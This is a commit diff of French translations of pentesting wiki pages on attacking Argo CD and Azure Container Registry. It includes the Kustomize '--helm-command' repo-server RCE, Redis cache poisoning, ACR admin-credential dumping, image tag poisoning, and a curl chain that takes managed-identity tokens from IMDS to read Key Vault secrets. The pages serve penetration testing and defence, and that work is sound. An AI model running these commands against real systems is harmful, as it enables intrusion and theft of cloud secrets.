Translated ['src/pentesting-cloud/azure-security/az-services/az-containe

This commit is contained in:
Translator
2026-07-19 09:25:47 +00:00
parent b184d0831c
commit e49a0587dd
5 changed files with 213 additions and 117 deletions
Binary file not shown.
+82 -81
View File
@@ -4,16 +4,16 @@
## Informations de base
[Argo CD](https://argo-cd.readthedocs.io/) est une plateforme de continuous delivery GitOps pour Kubernetes. Elle surveille les dépôts Git, rend les manifests Kubernetes avec des outils tels que Helm, Kustomize, Jsonnet ou des plugins de configuration management, et réconcilie l'état réel du cluster avec l'état souhaité stocké dans Git.
[Argo CD](https://argo-cd.readthedocs.io/) est une plateforme de continuous delivery GitOps pour Kubernetes. Elle surveille les dépôts Git, génère les manifests Kubernetes avec des outils tels que Helm, Kustomize, Jsonnet ou des plugins de gestion de configuration, puis réconcilie l'état du cluster en production avec l'état souhaité stocké dans Git.
Du point de vue d'un attacker, considérez Argo CD comme un **deployment engine avec des credentials Kubernetes**. Une compromission utile d'Argo CD peut conduire à :
Du point de vue d'un attaquant, considérez Argo CD comme un **deployment engine disposant de credentials Kubernetes**. Une compromission utile d'Argo CD peut permettre :
- Accès à des dépôts Git privés et aux credentials des dépôts.
- Accès aux secrets du cluster Kubernetes utilisés par Argo CD.
- Exécution de code lors de la génération de manifests dans `argocd-repo-server`.
- Déploiement non autorisé d'objets Kubernetes via des dépôts Git de confiance, des applications Argo CD ou la manipulation du cache.
- L'accès aux dépôts Git privés et aux credentials des dépôts.
- L'accès aux secrets du cluster Kubernetes utilisés par Argo CD.
- L'exécution de code lors de la génération des manifests dans `argocd-repo-server`.
- Le déploiement non autorisé d'objets Kubernetes via des dépôts Git de confiance, des applications Argo CD ou la manipulation du cache.
## Architecture & Composants intéressants
## Architecture et composants intéressants
Objets et services Kubernetes courants :
```bash
@@ -24,10 +24,10 @@ kubectl get networkpolicy -n argocd 2>/dev/null
```
Services intéressants :
- **`argocd-server`** : API publique, interface web, API CLI, authentification et authorization.
- **`argocd-application-controller`** : compare l’état souhaité et l’état live, puis applique les resources à Kubernetes.
- **`argocd-repo-server`** : clone les repositories, met en cache les données Git, et exécute Helm/Kustomize/Jsonnet/plugins pour générer les manifests. Le port gRPC par défaut est **8081**.
- **`argocd-redis`** : cache pour les données dapplication, de manifest et de référence Git. Le port Redis par défaut est **6379**.
- **`argocd-server`** : API publique, interface web, API CLI, authentification et autorisation.
- **`argocd-application-controller`** : compare l’état desired et l’état live, puis applique les resources à Kubernetes.
- **`argocd-repo-server`** : clone les repositories, met en cache les données Git et exécute Helm/Kustomize/Jsonnet/plugins pour générer les manifests. Le port gRPC par défaut est **8081**.
- **`argocd-redis`** : cache pour les données des applications, des manifests et des références Git. Le port Redis par défaut est **6379**.
- **`argocd-applicationset-controller`** : génère des objets Argo CD `Application` à partir de generators tels que Git, SCM, clusters et pull requests.
Depuis un pod compromis ou un segment réseau interne, vérifiez laccessibilité interne :
@@ -36,9 +36,9 @@ nc -vz <argocd-server> 443
nc -vz <argocd-repo-server> 8081
nc -vz <argocd-redis> 6379
```
## Public API / UI Attacks
## Attaques de l'API / de l'UI publique
Si vous avez des credentials Argo CD ou une instance exposée, commencez par la surface API normale :
Si vous disposez d'identifiants Argo CD ou d'une instance exposée, commencez par la surface API standard :
```bash
argocd login <argocd-server>
argocd account get-user-info
@@ -49,15 +49,15 @@ argocd repo list
argocd cluster list
argocd admin settings rbac can <subject> <action> <resource> <object>
```
Chemins dattaque utiles :
Chemins d'attaque utiles :
- **Application write access** : modifier `source.repoURL`, `source.path`, les valeurs Helm, les options Kustomize, les paramètres du plugin ou les options de sync afin quArgo CD déploie des manifests contrôlés par lattaquant.
- **Project misconfiguration** : les objets `AppProject` peuvent autoriser des `sourceRepos` trop larges, des `destinations` trop larges, un `clusterResourceWhitelist` non sûr, ou des restrictions de namespace trop faibles.
- **Repository credential abuse** : les secrets de repository, les identifiants GitHub App, les clés SSH et les tokens peuvent permettre de pousser vers des repos de confiance ou dajouter des dépendances malveillantes.
- **Cluster credential abuse** : les secrets de cluster peuvent contenir des bearer tokens ou une configuration exec-provider utilisée par Argo CD pour déployer vers les clusters cibles.
- **Local admin / project tokens** : des tokens Argo CD de longue durée peuvent être réutilisés via lAPI tant quils ne sont pas révoqués ou expirés.
- **Accès en écriture à l'application** : modifier `source.repoURL`, `source.path`, les valeurs Helm, les options Kustomize, les paramètres des plugins ou les options de synchronisation afin qu'Argo CD déploie des manifests contrôlés par l'attaquant.
- **Mauvaise configuration du projet** : les objets `AppProject` peuvent autoriser des `sourceRepos` trop larges, des `destinations` trop larges, une `clusterResourceWhitelist` dangereuse ou des restrictions faibles sur les namespaces.
- **Abus des identifiants du repository** : les secrets du repository, les identifiants GitHub App, les clés SSH et les tokens peuvent permettre de pousser vers des repositories de confiance ou d'ajouter des dépendances malveillantes.
- **Abus des identifiants du cluster** : les secrets du cluster peuvent contenir des bearer tokens ou une configuration `exec-provider` utilisée par Argo CD pour déployer sur les clusters cibles.
- **Tokens d'administration locale / de projet** : les tokens Argo CD à longue durée de vie peuvent être réutilisés via l'API s'ils ne sont pas révoqués ou expirés.
Énumérez la configuration depuis Kubernetes lorsque vous avez un accès en lecture au cluster :
Énumérez la configuration depuis Kubernetes lorsque vous disposez d'un accès en lecture au cluster :
```bash
kubectl get applications.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
@@ -65,28 +65,28 @@ kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey'
kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml
```
## Abuse de dépôt Git de confiance
## Abus d'un dépôt Git de confiance
Si vous pouvez pousser vers un dépôt approuvé par Argo CD, vous pouvez généralement influencer ce qui est déployé. Limpact dépend des limites de `AppProject` et des permissions du service account utilisé par le application controller.
Si vous pouvez push vers un dépôt de confiance par Argo CD, vous pouvez généralement influencer ce qui est déployé. L'impact dépend des limites de l'`AppProject` et des permissions du service account utilisées par l'application controller.
Emplacements courants des payloads :
- YAML Kubernetes brut sous un chemin de lapplication.
- YAML Kubernetes brut sous un chemin d'application.
- Templates de chart Helm et `values.yaml`.
- Overlays Kustomize, remote bases et generators.
- Jsonnet ou entrée de config management plugin.
- Fichiers generator ApplicationSet qui créent ou mettent à jour des objets `Application`.
- Entrées Jsonnet ou du config management plugin.
- Fichiers de générateur ApplicationSet qui créent ou mettent à jour des objets `Application`.
Vérifiez si lapplication utilise automated sync, pruning, self-heal, sync windows ou des approbations manuelles :
Vérifiez si l'application utilise la synchronisation automatique, le pruning, le self-heal, les sync windows ou des approbations manuelles :
```bash
kubectl get applications.argoproj.io -A \
-o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server'
```
## Abus direct de `argocd-repo-server`
Ne supposez pas que l'API publique Argo CD est la seule surface d'attaque. Les composants internes d'Argo CD communiquent avec `argocd-repo-server` via gRPC. Si des pods arbitraires peuvent atteindre repo-server, des requêtes internes contrôlées par un attaquant peuvent contourner les vérifications normalement imposées par `argocd-server`.
Ne supposez pas que l'API publique d'Argo CD est la seule surface d'attaque. Les composants internes d'Argo CD communiquent avec `argocd-repo-server` via gRPC. Si des pods arbitraires peuvent atteindre repo-server, des requêtes internes contrôlées par un attaquant peuvent contourner les vérifications normalement appliquées par `argocd-server`.
Vérifications pratiques:
Vérifications pratiques :
```bash
kubectl get svc -n argocd argocd-repo-server -o yaml
kubectl get endpoints -n argocd argocd-repo-server -o wide
@@ -94,20 +94,20 @@ nc -vz <argocd-repo-server> 8081
```
Signes intéressants :
- Le point de terminaison gRPC du repo-server est accessible depuis des pods non-Argo CD.
- Les NetworkPolicies sont absentes ou ne font que de l'allow-list egress sans deny ingress.
- Le repo-server a accès à des custom config management plugins, à des outils de déchiffrement, ou à du contenu de dépôt provenant de plusieurs tenants.
- Redis est accessible depuis des pods non-Argo CD, permettant l'inspection ou la modification du cache si des credentials sont disponibles ou non requis.
- Lendpoint gRPC du repo-server est accessible depuis des pods qui ne font pas partie dArgo CD.
- Les NetworkPolicies sont absentes ou autorisent uniquement legress sans bloquer lingress.
- Le repo-server a accès à des custom config management plugins, à des outils de déchiffrement ou au contenu de repositories de plusieurs tenants.
- Redis est accessible depuis des pods qui ne font pas partie dArgo CD, ce qui permet linspection ou la modification du cache si des credentials sont disponibles ou non requis.
## Unauthenticated Repo-Server RCE via Kustomize Options
## RCE non authentifiée du Repo-Server via les options Kustomize
En juillet 2026, Synacktiv a divulgué une chaîne d'exécution de code non authentifiée dans `repo-server` d'Argo CD lorsqu'un attaquant peut atteindre le service gRPC interne. L'attaque abuse de l'accès direct à `/repository.RepoServerService/GenerateManifest` et de `KustomizeOptions` contrôlées par l'attaquant.
En juillet 2026, Synacktiv a divulgué une chaîne dexécution de code non authentifiée dans le `repo-server` dArgo CD lorsquun attaquant peut atteindre le service gRPC interne. Lattaque exploite un accès direct à `/repository.RepoServerService/GenerateManifest` ainsi que des `KustomizeOptions` contrôlées par lattaquant.
La primitive dangereuse consiste à forcer repo-server à cloner du contenu de dépôt contrôlé par l'attaquant et à exécuter Kustomize avec le support Helm :
La primitive dangereuse consiste à forcer le repo-server à cloner du contenu provenant dun repository contrôlé par lattaquant et à exécuter Kustomize avec le support de Helm :
```bash
kustomize build <attacker_repo_path> --enable-helm --helm-command ./payload.sh
```
Une entrée Kustomize malveillante minimale doit déclencher le traitement Helm :
L'entrée Kustomize malveillante minimale doit déclencher le traitement Helm :
```yaml
helmCharts:
- name: pwn
@@ -115,15 +115,15 @@ version: 0.0.1
```
Pourquoi cela fonctionne :
- `argocd-repo-server` clone le dépôt avant le rendering.
- `--helm-command ./payload.sh` se résout relativement au dépôt cloné.
- Lexécution de code ne nécessite pas dinjection de métacaractères shell si lattaquant peut contrôler le dépôt rendu et les options de build Kustomize.
- `argocd-repo-server` clone le repository avant le rendu.
- `--helm-command ./payload.sh` est résolu relativement au repository cloné.
- L'exécution de code ne nécessite pas d'injection de métacaractères shell si l'attaquant peut contrôler le repository rendu et les options de build de Kustomize.
Au moment de la divulgation de Synacktiv le 1er juillet 2026, ils ont signalé que le problème navait pas de correctif officiel ni de CVE. Traitez cela dabord comme un problème dexposition réseau : lexploitation nécessite un accès au port gRPC interne de repo-server.
Au moment de la divulgation par Synacktiv, le 1er juillet 2026, ils ont signalé que le problème n'avait aucun correctif officiel ni CVE. Traitez d'abord cela comme un problème d'exposition réseau : l'exploitation nécessite une accessibilité au port gRPC interne de `repo-server`.
## Redis Cache Poisoning to Deploy Manifests
Après une exécution de code dans `argocd-repo-server`, ou après un accès direct à Redis avec des identifiants valides, inspectez les entrées de cache stockées dans Redis. Argo CD stocke couramment des valeurs JSON compressées en gzip.
Après une exécution de code dans `argocd-repo-server`, ou après un accès direct à Redis avec des identifiants valides, inspectez les entrées du cache stockées dans Redis. Argo CD stocke généralement des valeurs JSON compressées avec gzip.
Préfixes de clés intéressants :
```text
@@ -132,37 +132,37 @@ git-refs|... # Git branch/ref to commit mappings
app|... # application resource/cache data
cluster|... # cluster cache information
```
Lattaque de cache poisoning décrite par Synacktiv abuse de deux états :
Lattaque de cache poisoning décrite par Synacktiv exploite deux éléments d’état :
1. Modifier lentrée de cache manifeste `mfst|...` pertinente pour inclure un manifest Kubernetes contrôlé par lattaquant.
2. Modifier le mapping `git-refs|...` مرتبط pour quArgo CD pense que la branche a bougé, puis revienne à la révision mise en cache.
1. Modifier lentrée de cache du manifest `mfst|...` concernée afin dy inclure un manifest Kubernetes contrôlé par lattaquant.
2. Modifier le mapping `git-refs|...` associé afin quArgo CD pense que la branche a changé, puis effectue une reconciliation vers la révision mise en cache.
Impact :
- Avec Auto Sync activé, Argo CD peut appliquer automatiquement le manifest empoisonné en cache.
- Sans Auto Sync, le payload peut quand même sappliquer lorsquun utilisateur sync manuellement lapplication.
- Avec Auto Sync activé, Argo CD peut appliquer automatiquement le manifest empoisonné mis en cache.
- Sans Auto Sync, le payload peut tout de même être appliqué lorsquun utilisateur effectue manuellement un sync de lapplication.
- Limpact final est limité par la destination de lapplication cible et les permissions Kubernetes disponibles pour Argo CD.
## ApplicationSet Attacks
ApplicationSet est particulièrement sensible parce quil crée ou met à jour des objets `Application` à partir de la sortie du generator.
ApplicationSet est particulièrement sensible, car il crée ou met à jour des objets `Application` à partir de la sortie du generator.
Review:
À vérifier :
```bash
kubectl get applicationsets.argoproj.io -A -o yaml
kubectl get appprojects.argoproj.io -A -o yaml
```
Modèles intéressants :
Patterns intéressants :
- Les générateurs git lisant des fichiers inscriptibles par lattaquant qui contrôlent les noms dapp, les paths, les projects ou les destinations.
- Les générateurs de pull request pour les dépôts publics, où des contributeurs non fiables peuvent influencer les applications générées.
- Les champs de template qui autorisent des clusters/namespaces de destination larges.
- Les AppProjects qui autorisent `sourceRepos: ["*"]` ou des `destinations` larges.
- Les applications générées qui héritent de la synchronisation automatisée et de la suppression.
- Git generators lisant des fichiers accessibles en écriture à lattaquant et contrôlant les noms dapplications, les paths, les projects ou les destinations.
- Pull request generators pour des repositories publics où des contributeurs non fiables peuvent influencer les applications générées.
- Champs de templates permettant de définir des clusters/namespaces de destination larges.
- AppProjects autorisant `sourceRepos: ["*"]` ou des `destinations` larges.
- Applications générées héritant de la synchronisation automatisée et du pruning.
## Post-Exploitation
Depuis un shell de pod Argo CD, priorisez :
Depuis un shell de pod Argo CD, donnez la priorité à :
```bash
env
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'
@@ -171,24 +171,24 @@ mount | grep -E 'secret|token|config'
```
Objectifs utiles :
- Voler `REDIS_PASSWORD` ou le matériel Redis TLS/client.
- Extraire les credentials du repository depuis les secrets montés ou les secrets Kubernetes d'Argo CD.
- Identifier les credentials du cluster utilisés par Argo CD.
- Lire les manifests générés et la sortie des plugins qui peuvent contenir des secrets injectés.
- Vérifier si des custom plugins, SOPS, Helm secrets, Vault plugins ou des cloud CLIs exposent des keys de décryption et des cloud credentials.
- Voler `REDIS_PASSWORD` ou le matériel TLS/client de Redis.
- Extraire les identifiants des repositories depuis les secrets montés ou les secrets Kubernetes dArgo CD.
- Identifier les identifiants de cluster utilisés par Argo CD.
- Lire les manifests générés et la sortie des plugins pouvant contenir des secrets injectés.
- Vérifier si les plugins personnalisés, SOPS, les secrets Helm, les plugins Vault ou les cloud CLIs exposent des clés de déchiffrement et des identifiants cloud.
## Détection & Durcissement
## Détection et Hardening
Vérifications importantes :
- Restreindre le port **8081** de `argocd-repo-server` et le port **6379** de Redis avec des NetworkPolicies afin que seuls les composants Argo CD attendus puissent y accéder.
- Dans les déploiements Helm, vérifier que les network policies sont réellement créées. Les valeurs du chart Helm Argo CD ont historiquement laissé la création des network policies des composants désactivée par défaut.
- Garder `argocd-server` comme point d'entrée authentifié. Les services internes ne devraient pas être accessibles depuis des workloads arbitraires.
- Désactiver les outils de config management et plugins inutilisés.
- Restreindre `AppProject` `sourceRepos`, `destinations`, les permissions de namespace et les ressources au niveau cluster.
- Éviter de stocker des credentials de repository trop larges qu'un utilisateur Argo CD peu privilégié pourrait réutiliser.
- Surveiller les requêtes repo-server, les options de build Kustomize, les exécutions de plugins, les écritures Redis et les accès inattendus aux keys `mfst|` / `git-refs|`.
- Faire tourner les utilisateurs locaux Argo CD, les project tokens, les repository credentials et les cluster credentials après une compromission.
- Restreindre le port **8081** de `argocd-repo-server` et le port **6379** de Redis avec des NetworkPolicies afin que seuls les composants Argo CD attendus puissent les atteindre.
- Dans les déploiements Helm, vérifier que les network policies sont réellement créées. Les valeurs du Helm chart Argo CD ont historiquement désactivé par défaut la création des network policies des composants.
- Conserver `argocd-server` comme point dentrée authentifié. Les services internes ne doivent pas être accessibles depuis des workloads arbitraires.
- Désactiver les outils et plugins de gestion de configuration inutilisés.
- Restreindre `sourceRepos`, `destinations`, les permissions sur les namespaces et les ressources à portée cluster de l`AppProject`.
- Éviter de stocker des identifiants de repository étendus là où un utilisateur Argo CD disposant de faibles privilèges peut provoquer leur réutilisation.
- Surveiller les requêtes vers repo-server, les options de build Kustomize, les exécutions de plugins, les écritures Redis et les accès inattendus aux clés `mfst|` / `git-refs|`.
- Faire tourner les utilisateurs locaux Argo CD, les tokens de projet, les identifiants de repository et les identifiants de cluster après une compromission.
Commandes utiles :
```bash
@@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd
kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null
kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null
```
## Note d'analyse statique : Typed API Requests dans CodeQL
## Note d'analyse statique : requêtes API typées dans CodeQL
Pour les services Go utilisant des handlers gRPC/REST, les remote sources CodeQL par défaut peuvent manquer des flows une fois que l'input brut a été unmarshaled en typed request objects. Un modèle utile pour des services de style Argo CD est :
Pour les services Go utilisant des handlers gRPC/REST, les sources distantes par défaut de CodeQL peuvent manquer des flows une fois que les entrées brutes ont été désérialisées dans des objets de requête typés. Un modèle utile pour les services de type Argo CD est le suivant :
- Receiver type comme `Server` ou `Service`.
- Type du receiver, tel que `Server` ou `Service`.
- Le premier paramètre est `context.Context`.
- Le deuxième paramètre est un typed request object.
- Le deuxième paramètre est un objet de requête typé.
Modélisez ce deuxième paramètre comme une remote source et ajoutez des custom sinks pour les arguments de `exec.Command` / `exec.CommandContext`. Cela aide à trouver des flows depuis des champs de internal API request vers les command execution helpers.
Modélisez ce deuxième paramètre comme une source distante et ajoutez des sinks personnalisés pour les arguments de `exec.Command` / `exec.CommandContext`. Cela aide à trouver les flows entre les champs des requêtes API internes et les helpers d'exécution de commandes.
## Références
- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql)
- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
- [Documentation Argo CD - Considérations de sécurité](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/)
- [Documentation Argo CD - Haute disponibilité](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/)
- [Documentation Argo CD - Référence des commandes de repo-server](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/)
- [Argo CD - Manifest NetworkPolicy de repo-server](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml)
- [Documentation Argo CD - métriques](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/)
- [Argo Helm - Référence des valeurs du chart](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md)
- [Kustomize - Exemple de générateur de chart Helm](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md)
{{#include ../banners/hacktricks-training.md}}
@@ -6,4 +6,8 @@
az-azure-ai-foundry-post-exploitation.md
{{#endref}}
{{#ref}}
az-container-registry-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,87 @@
# Az - Container Registry Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Registry
Pour plus d'informations sur ce service, consultez :
{{#ref}}
../az-services/az-container-registry.md
{{#endref}}
### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write`
Une identité disposant d'un accès au management-plane ACR peut convertir cet accès en **Docker credentials réutilisables**. Si l'**admin user** est désactivé, mais que le principal dispose également de `registries/write`, activez-le, récupérez les mots de passe, puis authentifiez-vous directement auprès de `<registry>.azurecr.io`.
```bash
az acr show --resource-group <resource-group> --name <registry-name> --query adminUserEnabled
az acr update --resource-group <resource-group> --name <registry-name> --admin-enabled true
az acr credential show -n <registry-name>
docker login <registry-name>.azurecr.io -u <username> -p <password>
```
Ceci est utile, car les identifiants récupérés peuvent être réutilisés en dehors de lAzure CLI pour **list, pull, push, overwrite et parfois delete** le contenu du registry jusqu’à la désactivation du compte administrateur ou à la rotation des mots de passe.
### `Microsoft.ContainerRegistry/registries/pull/read`
Utilisez laccès pull pour effectuer de la **reconnaissance du repository** et rechercher des **secrets** dans les images. Examinez à la fois la configuration finale du container et les couches historiques du filesystem, car les fichiers copiés dans une couche peuvent rester récupérables même sils sont supprimés ultérieurement.
```bash
az acr repository list -n <registry-name>
az acr repository show-tags -n <registry-name> --repository <repository> --detail
docker pull <registry-name>.azurecr.io/<repository>:<tag>
container_id=$(docker create <registry-name>.azurecr.io/<repository>:<tag>)
docker cp "$container_id":/ ./extracted_container
docker rm "$container_id"
docker inspect <registry-name>.azurecr.io/<repository>:<tag> | jq -r '.[0].Config.Env[]?'
dive <registry-name>.azurecr.io/<repository>:<tag>
```
Les cibles à forte valeur comprennent les **variables denvironnement**, les **configurations dapplication**, les **scripts de déploiement**, les **certificats**, les **jetons daccès** et les **chaînes de connexion**. Pour trouver dautres éléments lors de lexamen des layers, consultez la page Docker forensics :
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `Microsoft.ContainerRegistry/registries/push/write`
Laccès push permet à un attaquant d**empoisonner des repositories de confiance** ou d**écraser des tags mutables** tels que `latest`, `prod` ou `stable`. Toute charge de travail qui se déploie encore à laide dun tag plutôt que dun digest peut récupérer limage de lattaquant lors du prochain déploiement, dun événement de scale-out ou dun redémarrage.
```bash
# Retag an existing local image for the target ACR
docker tag <local-image>:<local-tag> <registry-name>.azurecr.io/<repository>:<trusted-tag>
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
# If your workstation architecture differs from the target runtime, build for the consumer platform first
docker buildx build --platform linux/amd64 -t <registry-name>.azurecr.io/<repository>:<trusted-tag> --load .
docker push <registry-name>.azurecr.io/<repository>:<trusted-tag>
```
Avant de remplacer un tag, vérifiez quels repositories et tags sont réellement utilisés par les workloads en aval. Les consommateurs **pinned par digest** (`@sha256:...`) sont beaucoup plus difficiles à rediriger que les consommateurs basés sur des tags.
### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action`
Si vous pouvez à la fois **remplacer limage** utilisée par un workload de container en aval et **redémarrer** ce workload, lentrypoint malveillant sexécute dans le **contexte réseau et didentité managée** du container cible. Depuis celui-ci, limage peut demander des tokens à IMDS et accéder aux ressources Azure accessibles par lidentité de ce workload.
```bash
TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token)
curl -H "Authorization: Bearer $TOKEN" \
'https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4'
az container restart --resource-group <resource-group> --name <container-name>
```
Cette opération transforme un écrasement de tag ACR en **code execution**, **secret theft** ou **lateral movement** au sein de tout container consumer qui fait confiance au tag modifié et expose une identité exploitable.
### Chemin de privesc associé : identités managées dACR Tasks
Si vous disposez également de `Microsoft.ContainerRegistry/registries/tasks/write` et `Microsoft.ContainerRegistry/registries/runs/write`, passez au chemin de privesc ACR et exploitez directement lidentité managée de la task :
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Références
- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security)
- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication)
- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest)
- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest)
- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml)
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,37 +4,37 @@
## Informations de base
Azure Container Registry (ACR) est un registry sécurisé et privé qui vous permet de **stocker, gérer et accéder à des images de container dans le cloud Azure**. Il sintègre de manière fluide avec plusieurs services Azure, offrant des workflows automatisés de build et de déploiement à grande échelle. Avec des fonctionnalités comme la geo-replication et le vulnerability scanning, ACR aide à garantir une sécurité et une conformité de niveau entreprise pour les applications containerized.
Azure Container Registry (ACR) est un registre privé et sécurisé qui vous permet de **stocker, gérer et accéder aux images de conteneurs dans le cloud Azure**. Il s'intègre parfaitement à plusieurs services Azure et fournit des workflows automatisés de build et de déploiement à grande échelle. Grâce à des fonctionnalités telles que la géo-réplication et l'analyse des vulnérabilités, ACR contribue à garantir une sécurité et une conformité de niveau entreprise pour les applications conteneurisées.
### Permissions
Voici les **différentes permissions** [selon la docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) qui peuvent être accordées sur un Container Registry :
Voici les **différentes permissions** [selon la documentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) qui peuvent être accordées sur un Container Registry :
- Access Resource Manager
- Create/delete registry
- Push image
- Pull image
- Delete image data
- Change policies
- Sign images
- Accéder à Resource Manager
- Créer/supprimer un registre
- Push d'une image
- Pull d'une image
- Supprimer les données d'une image
- Modifier les policies
- Signer des images
Il existe aussi des **built-in roles** qui peuvent être assignés, et il est également possible de créer des **custom roles**.
Il existe également plusieurs **built-in roles** qui peuvent être attribués, et il est aussi possible de créer des **custom roles**.
![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png)
![Matrice des permissions des built-in roles d'Azure Container Registry pour la gestion du registre, des images, des données, des policies et des opérations de signature](/images/registry_roles.png)
### Authentication
### Authentification
> [!WARNING]
> Il est très imporatant que même si le nom du registry contient des lettres majuscules, vous devez toujours utiliser des lettres **minuscules** pour vous connecter, push et pull les images.
> Il est très important que, même si le nom du registre contient des lettres majuscules, vous utilisiez toujours des **lettres minuscules** pour vous connecter, effectuer un push et un pull d'images.
Il existe 4 façons de sauthentifier auprès dun ACR :
Il existe 4 façons de s'authentifier auprès d'un ACR :
- **Avec Entra ID** : cest la façon **par défaut** de sauthentifier à un ACR. Elle utilise la commande **`az acr login`** pour sauthentifier au ACR. Cette commande va **stocker les credentials** dans le fichier **`~/.docker/config.json`**. De plus, si vous exécutez cette commande depuis un environnement sans accès à un docker socket comme dans un **cloud shell**, il est possible dutiliser le flag **`--expose-token`** pour obtenir le **token** afin de sauthentifier au ACR. Ensuite, pour sauthentifier, vous devez utiliser comme nom dutilisateur `00000000-0000-0000-0000-000000000000` comme ceci : `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Avec un admin account** : ladmin user est désactivé par défaut mais il peut être activé et il sera alors possible daccéder au registry avec le **username** et le **password** du compte admin avec tous les permissions sur le registry. Cest toujours supporté car certains services Azure lutilisent. Notez que **2 passwords** sont créés pour cet utilisateur et les deux sont valides. Vous pouvez lactiver avec `az acr update -n <acrName> --admin-enabled true`. Notez que le username est généralement le nom du registry (et non `admin`).
- **Avec un token** : il est possible de créer un **token** avec un **`scope map`** spécifique (permissions) pour accéder au registry. Ensuite, il est possible dutiliser le nom du token comme username et nimporte lequel des mots de passe générés pour sauthentifier au registry avec `docker login -u <registry-name> -p <password> <registry-url>`
- **Avec un Service Principal** : il est possible de créer un **service principal** et dassigner un rôle comme **`AcrPull`** pour pull des images. Ensuite, il sera possible de **login to the registry** en utilisant le SP appId comme username et un secret généré comme password.
- **Avec Entra ID** : Il s'agit de la méthode **par défaut** pour s'authentifier auprès d'un ACR. Elle utilise la commande **`az acr login`** pour s'authentifier auprès de l'ACR. Cette commande va **stocker les identifiants** dans le fichier **`~/.docker/config.json`**. De plus, si vous exécutez cette commande depuis un environnement sans accès à un socket Docker, comme dans un **cloud shell**, il est possible d'utiliser le flag **`--expose-token`** pour obtenir le **token** permettant de s'authentifier auprès de l'ACR. Pour vous authentifier, vous devez alors utiliser `00000000-0000-0000-0000-000000000000` comme nom d'utilisateur, par exemple : `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Avec un compte administrateur** : L'utilisateur administrateur est désactivé par défaut, mais il peut être activé. Il devient alors possible d'accéder au registre avec le **nom d'utilisateur** et le **mot de passe** du compte administrateur, qui dispose de toutes les permissions sur le registre. Cette méthode reste supportée, car certains services Azure l'utilisent. Notez que **2 mots de passe** sont créés pour cet utilisateur et que les deux sont valides. Vous pouvez l'activer avec `az acr update -n <acrName> --admin-enabled true`. Notez que le nom d'utilisateur correspond généralement au nom du registre (et non à `admin`).
- **Avec un token** : Il est possible de créer un **token** avec une **`scope map` spécifique** (permissions) pour accéder au registre. Il est ensuite possible d'utiliser le nom du token comme nom d'utilisateur et l'un des mots de passe générés pour s'authentifier auprès du registre avec `docker login -u <registry-name> -p <password> <registry-url>`
